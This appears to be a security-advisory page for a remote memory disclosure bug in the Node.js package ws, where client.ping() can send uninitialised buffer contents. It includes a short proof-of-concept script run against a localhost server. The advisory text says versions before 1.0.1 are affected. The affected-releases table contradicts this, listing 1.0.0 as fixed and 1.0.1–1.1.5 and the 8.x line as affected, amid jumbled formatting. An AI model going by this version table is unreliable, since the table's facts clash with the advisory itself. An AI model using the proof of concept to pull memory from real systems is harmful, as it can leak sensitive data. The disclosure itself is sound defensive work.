Remote Memory Disclosure in ws
Affected releases · ws
- 1.x1.0.0Fixed in 1.0.1
- 0.8.x and older0.2.6 – 0.8.1No fix, no longer updated
On 1.x, the newest line:
npm install ws@1.0.1Not affected
8.0.0 – 8.22.0
41 releases, latest
Affected
1.0.0
1 release
Fixed
1.0.1 – 1.1.5
7 releases
Affected
0.2.6 – 0.8.1
58 releases
Is your project affected?
Paste your package.json, or type the range you declare for ws. It is read in your browser and sent nowhere.
What happens
Versions of ws prior to 1.0.1 are affected by a remote memory disclosure vulnerability.
In certain rare circumstances, applications which allow users to control the arguments of a client.ping() call will cause ws to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.
Proof of Concept
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this sends a non-zeroed buffer of 50 bytes
client.on('pong', function (data) {
console.log('got pong')
console.log(data) // Data from the client.
})
})Recommendation
Update to version 1.0.1 or greater.